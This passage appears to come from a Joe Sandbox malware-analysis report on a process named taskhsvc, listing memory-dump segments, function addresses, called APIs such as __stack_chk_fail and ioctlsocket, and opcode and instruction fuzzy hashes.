                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failioctlsocket
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 496226349-0
                                                                                                                          • Opcode ID: a3d55143ca722e6a19e7d23a2a68f9dd9c6b8b2cc03e685db3eee00fc91368f0
                                                                                                                          • Instruction ID: b4d635630d026d0e532193ad747845d68972a1054ee63ac2496632ee88af21f4
                                                                                                                          • Opcode Fuzzy Hash: a3d55143ca722e6a19e7d23a2a68f9dd9c6b8b2cc03e685db3eee00fc91368f0
                                                                                                                          • Instruction Fuzzy Hash: 92F01C70D006099FCB00DFA9D44169EBBF1EB44304F01C429E454EB350E774AD55CF85
                                                                                                                          Function 00D32D3B Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D32E49
                                                                                                                            • Part of subcall function 00D32B7A: __stack_chk_fail.LIBSSP-0 ref: 00D32C03
                                                                                                                            • Part of subcall function 00D39D53: __stack_chk_fail.LIBSSP-0 ref: 00D39DB3
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 0ae077039b9ed5bee445b8d00edbcb74fce7b7c31c5fe3771715e1beec9e275b
                                                                                                                          • Instruction ID: 7c8e244caeb9df70a257dcc65ee6697c17133986f54193aba141c3657a5ca23a
                                                                                                                          • Opcode Fuzzy Hash: 0ae077039b9ed5bee445b8d00edbcb74fce7b7c31c5fe3771715e1beec9e275b
                                                                                                                          • Instruction Fuzzy Hash: 58414DB4E056099FCB40DFA9D581AAEBBF1BF48354F15C829E868E7310E374E9418F61
                                                                                                                          Function 00CE3832 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CE3735: __stack_chk_fail.LIBSSP-0 ref: 00CE382B
                                                                                                                            • Part of subcall function 00CE7506: __stack_chk_fail.LIBSSP-0 ref: 00CE7725
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CE393E
                                                                                                                            • Part of subcall function 00CE3457: abort.MSVCRT ref: 00CE34AE
                                                                                                                            • Part of subcall function 00CE3457: abort.MSVCRT ref: 00CE34F1
                                                                                                                            • Part of subcall function 00CE3457: __stack_chk_fail.LIBSSP-0 ref: 00CE372E
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: 6f01deadad27678534fbcb8370a83897d25b3adf540e358abe2bf4af6cf7be00
                                                                                                                          • Instruction ID: 3fb8e9713fc1e58546f4615d491e219761ee1e236789179665bf9efd669df20d
                                                                                                                          • Opcode Fuzzy Hash: 6f01deadad27678534fbcb8370a83897d25b3adf540e358abe2bf4af6cf7be00
                                                                                                                          • Instruction Fuzzy Hash: E231C9B4A087959FCB00EFA9C5896AEBBF0BF48700F108829E495E7341D774EA41DF52
                                                                                                                          Function 00CD354C Relevance: 1.6, APIs: 1, Instructions: 66COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CE1E90: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00C58007), ref: 00CE1EC8
                                                                                                                            • Part of subcall function 00CD4093: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C8B89E), ref: 00CD40C7
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00CD3295), ref: 00CD362A
                                                                                                                            • Part of subcall function 00CD40CE: abort.MSVCRT ref: 00CD412D
                                                                                                                            • Part of subcall function 00CD40CE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00C8B8C3), ref: 00CD416C
                                                                                                                            • Part of subcall function 00CD3023: abort.MSVCRT ref: 00CD308D
                                                                                                                            • Part of subcall function 00CD3023: __stack_chk_fail.LIBSSP-0 ref: 00CD3141
                                                                                                                            • Part of subcall function 00CD33E8: abort.MSVCRT ref: 00CD348F
                                                                                                                            • Part of subcall function 00CD33E8: __stack_chk_fail.LIBSSP-0 ref: 00CD3545
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
